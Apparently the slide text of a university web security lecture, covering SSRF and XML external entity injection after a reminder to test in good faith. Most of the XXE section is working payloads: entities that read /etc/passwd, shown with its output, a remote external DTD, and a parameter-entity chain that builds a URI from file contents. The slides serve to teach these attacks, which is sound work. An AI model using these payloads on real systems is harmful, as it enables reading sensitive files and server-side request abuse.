“These courses expects a high standard of professionalism from its students with regard to how security testing is conducted. We expect all students to act in good faith at all times […]”
TL;DR Don’t be mean
How did(nt) the midsem go?
Topic 2 challenge walkthroughs
Cool things?
Properly handle user input!
Let’s have a look at WebCMS4 again
Think back to HaaS
kb
from haas
haas
serverUtilise the outbound connection of a device to access/gain more information
Make a server do something it’s not intended to
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % mystr "wowowo" >
]>
<data>
<item>&mystr;</item>
</data>
wowowo
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY number SYSTEM "http://randomNumberGenerator.com">
]>
<data>
<item>&number;</item>
</data>
7
<!DOCTYPE foo [
<!ENTITY % string "woah" >
<!ENTITY % result "Got me like: %string;" >
]>
Got me like: woah
Exploit the external entity to perform LFI / SSI
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY passwdFile SYSTEM "file:///etc/passwd">
]>
<data>
<item>&passwdFile;</item>
</data>
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % ext SYSTEM "http://some.server/ext.dtd">
%ext;
]>
<message></message>
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % A "<!ENTITY % B SYSTEM 'file:///lol/%file;'>">
%A;
%B;
Enjoy your Week 6 break ~